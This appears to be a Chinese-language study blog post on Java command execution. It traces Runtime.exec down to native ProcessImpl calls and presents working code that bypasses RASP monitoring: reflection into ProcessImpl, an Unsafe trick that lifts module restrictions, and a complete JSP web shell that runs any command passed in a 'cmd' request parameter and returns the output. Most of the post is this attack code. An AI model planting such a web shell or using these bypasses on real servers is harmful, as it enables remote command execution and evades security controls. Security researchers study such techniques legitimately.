记录https://github.com/javaweb-sec/javaweb-sec的学习

CommandExecute

Runtime#exec

ProcessBuilder#start

以上两个最终都要调到ProcessImpl

而ProcessImpl会调用native的forkAndExec

实际最终都是调到Java_java_lang_ProcessImpl_forkAndExec

而我们只需要直接调用最终执行的UNIXProcess/ProcessImpl实现命令执行或者直接反射UNIXProcess/ProcessImplforkAndExec方法就可以绕过RASP实现命令执行了。

但是我本地跟了一下 最终调的是Java_java_lang_ProcessImpl_create 并没有找到 Java_java_lang_ProcessImpl_forkAndExec

在linux下有forkAndExec

image-20240127135535440

image-20240127135551312

Java_java_lang_ProcessImpl_create(JNIEnv *env, jclass ignored,
                                  jstring cmd,
                                  jstring envBlock,
                                  jstring dir,
                                  jlongArray stdHandles,
                                  jboolean redirectErrorStream)
{
    jlong ret = 0;
    if (cmd != NULL && stdHandles != NULL) {
        const jchar *pcmd = (*env)->GetStringChars(env, cmd, NULL);
        if (pcmd != NULL) {
            const jchar *penvBlock = (envBlock != NULL)
                ? (*env)->GetStringChars(env, envBlock, NULL)
                : NULL;
            const jchar *pdir = (dir != NULL)
                ? (*env)->GetStringChars(env, dir, NULL)
                : NULL;
            jlong *handles = (*env)->GetLongArrayElements(env, stdHandles, NULL);
            if (handles != NULL) {
                ret = processCreate(
                    env,
                    pcmd,
                    penvBlock,
                    pdir,
                    handles,
                    redirectErrorStream);
                (*env)->ReleaseLongArrayElements(env, stdHandles, handles, 0);
            }
            if (pdir != NULL)
                (*env)->ReleaseStringChars(env, dir, pdir);
            if (penvBlock != NULL)
                (*env)->ReleaseStringChars(env, envBlock, penvBlock);
            (*env)->ReleaseStringChars(env, cmd, pcmd);
        }
    }
    return ret;
}

这里就不写Runtime和ProcessBuilder的了

反射ProcessImpl命令执行

package tem;

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Map;

public class Exec {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Class<?> clazz = Class.forName("java.lang.ProcessImpl");
        Method startMethod = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
        startMethod.setAccessible(true);
        startMethod.invoke(null,new String[]{"calc"},null,null,null,false);
    }
}

高版本则需要用Unsafe绕过

package tem;

import sun.misc.Unsafe;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Map;

public class Exec {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, NoSuchFieldException {
        Class<?> clazz = Class.forName("java.lang.ProcessImpl");
        Method startMethod = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);

        Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
        unsafeField.setAccessible(true);
        Unsafe unsafe = (Unsafe) unsafeField.get(null);
        Class cureentClass = Exec.class;

        unsafe.getAndSetObject(cureentClass,unsafe.objectFieldOffset(Class.class.getDeclaredField("module")),Object.class.getModule());


        startMethod.setAccessible(true);
        startMethod.invoke(null,new String[]{"calc"},null,null,null,false);
    }
}

反射Java_java_lang_ProcessImpl_create命令执行

当ProcessImpl也不能用的时候可以考虑

过程如下

  1. 使用sun.misc.Unsafe.allocateInstance(Class)特性可以无需new或者newInstance创建ProcessImpl类对象。
  2. 反射ProcessImpl类的create方法。
  3. 构造create需要的参数并调用。
package tem;

import sun.misc.Unsafe;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class NativeExec {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchMethodException, InvocationTargetException {
        // 获取ProcessImpl的实例
        Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
        unsafeField.setAccessible(true);
        Unsafe unsafe = (Unsafe) unsafeField.get(null);
        Class<?> clazz = Class.forName("java.lang.ProcessImpl");
        Object o = unsafe.allocateInstance(clazz);

        Method createMethod = clazz.getDeclaredMethod("create", String.class, String.class, String.class, long[].class, boolean.class);

        Class cureentClass = NativeExec.class;
        unsafe.getAndSetObject(cureentClass,unsafe.objectFieldOffset(Class.class.getDeclaredField("module")),Object.class.getModule());

        createMethod.setAccessible(true);
//        Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(String[].class,String.class,String.class,long[].class,boolean.class,boolean.class);
//        declaredConstructor.setAccessible(true);
//        System.out.println(declaredConstructor);
//        Object p = declaredConstructor.newInstance(new String[]{"calc"}, null, null, new long[]{-1L,-1L,-1L}, false, false);
//        System.out.println(p);
        createMethod.invoke(null,
                "calc",
                null,
                null,
                new long[]{-1L,-1L,-1L},
                false);



    }
}

在linux下则是forkAndExec 这个直接抄了

过程如下

  1. 使用sun.misc.Unsafe.allocateInstance(Class)特性可以无需new或者newInstance创建UNIXProcess/ProcessImpl类对象。
  2. 反射UNIXProcess/ProcessImpl类的forkAndExec方法。
  3. 构造forkAndExec需要的参数并调用。
  4. 反射UNIXProcess/ProcessImpl类的initStreams方法初始化输入输出结果流对象。
  5. 反射UNIXProcess/ProcessImpl类的getInputStream方法获取本地命令执行结果(如果要输出流、异常流反射对应方法即可)。
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="sun.misc.Unsafe" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.lang.reflect.Method" %>
<%!
    byte[] toCString(String s) {
        if (s == null)
            return null;
        byte[] bytes  = s.getBytes();
        byte[] result = new byte[bytes.length + 1];
        System.arraycopy(bytes, 0,
                result, 0,
                bytes.length);
        result[result.length - 1] = (byte) 0;
        return result;
    }


%>
<%
    String[] strs = request.getParameterValues("cmd");

    if (strs != null) {
        Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
        theUnsafeField.setAccessible(true);
        Unsafe unsafe = (Unsafe) theUnsafeField.get(null);

        Class processClass = null;

        try {
            processClass = Class.forName("java.lang.UNIXProcess");
        } catch (ClassNotFoundException e) {
            processClass = Class.forName("java.lang.ProcessImpl");
        }

        Object processObject = unsafe.allocateInstance(processClass);

        // Convert arguments to a contiguous block; it's easier to do
        // memory management in Java than in C.
        byte[][] args = new byte[strs.length - 1][];
        int      size = args.length; // For added NUL bytes

        for (int i = 0; i < args.length; i++) {
            args[i] = strs[i + 1].getBytes();
            size += args[i].length;
        }

        byte[] argBlock = new byte[size];
        int    i        = 0;

        for (byte[] arg : args) {
            System.arraycopy(arg, 0, argBlock, i, arg.length);
            i += arg.length + 1;
            // No need to write NUL bytes explicitly
        }

        int[] envc                 = new int[1];
        int[] std_fds              = new int[]{-1, -1, -1};
        Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
        Field helperpathField      = processClass.getDeclaredField("helperpath");
        launchMechanismField.setAccessible(true);
        helperpathField.setAccessible(true);
        Object launchMechanismObject = launchMechanismField.get(processObject);
        byte[] helperpathObject      = (byte[]) helperpathField.get(processObject);

        int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);

        Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{
                int.class, byte[].class, byte[].class, byte[].class, int.class,
                byte[].class, int.class, byte[].class, int[].class, boolean.class
        });

        forkMethod.setAccessible(true);// 设置访问权限

        int pid = (int) forkMethod.invoke(processObject, new Object[]{
                ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,
                null, envc[0], null, std_fds, false
        });

        // 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流
        Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
        initStreamsMethod.setAccessible(true);
        initStreamsMethod.invoke(processObject, std_fds);

        // 获取本地执行结果的输入流
        Method getInputStreamMethod = processClass.getMethod("getInputStream");
        getInputStreamMethod.setAccessible(true);
        InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        int                   a    = 0;
        byte[]                b    = new byte[1024];

        while ((a = in.read(b)) != -1) {
            baos.write(b, 0, a);
        }

        out.println("<pre>");
        out.println(baos.toString());
        out.println("</pre>");
        out.flush();
        out.close();
    }
%>
Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐